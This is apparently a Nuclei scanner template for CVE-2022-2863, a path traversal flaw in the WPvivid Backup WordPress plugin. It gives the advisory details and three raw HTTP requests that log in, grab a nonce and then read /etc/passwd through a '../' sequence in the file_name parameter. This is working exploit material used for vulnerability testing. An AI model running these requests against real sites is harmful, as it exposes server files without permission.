WordPress WPvivid Backup version 0.9.76 is vulnerable to local file inclusion because the plugin does not sanitize and validate a parameter before using it to read the content of a file, allowing high privilege users to read any file from the web server.
PoC代码[已公开]
id: CVE-2022-2863
info:
name: WordPress WPvivid Backup <0.9.76 - Local File Inclusion
author: tehtbl
severity: medium
description: WordPress WPvivid Backup version 0.9.76 is vulnerable to local file inclusion because the plugin does not sanitize and validate a parameter before using it to read the content of a file, allowing high privilege users to read any file from the web server.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire WordPress installation.
remediation: Upgrade to version 0.9.76 or later.
reference:
- https://seclists.org/fulldisclosure/2022/Oct/0
- https://wpscan.com/vulnerability/cb6a3304-2166-47a0-a011-4dcacaa133e5
- http://packetstormsecurity.com/files/168616/WordPress-WPvivid-Backup-Path-Traversal.html
- https://nvd.nist.gov/vuln/detail/CVE-2022-2863
- https://github.com/rodnt/rodnt
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
cvss-score: 4.9
cve-id: CVE-2022-2863
cwe-id: CWE-22
epss-score: 0.03594
epss-percentile: 0.87315
cpe: cpe:2.3:a:wpvivid:migration\,_backup\,_staging:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 3
vendor: wpvivid
product: migration\,_backup\,_staging
framework: wordpress
tags: cve,cve2022,wp,wpscan,seclists,packetstorm,authenticated,lfi,wordpress,wp-plugin,wpvivid
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin.php?page=WPvivid HTTP/1.1
Host: {{Hostname}}
- |
GET /wp-admin/admin-ajax.php?_wpnonce={{nonce}}&action=wpvivid_download_export_backup&file_name=../../../../../../../etc/passwd&file_size=922 HTTP/1.1
Host: {{Hostname}}
Referer: {{BaseURL}}/wp-admin/admin.php?page=WPvivid
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
extractors:
- type: regex
name: nonce
group: 1
regex:
- '"_ajax_nonce":"([0-9a-z]+)"'
internal: true
part: body
# digest: 4a0a0047304502210083b98aebef565714bb62c8d523df24ea3c113ff9bf4b4bb1f247e8a2cc351f95022044536d0e78f4f800e9ab3c77ade3c7d17271b017ffb087184d5a86c99cc92f10:922c64590222798bb761d5b6d8e72950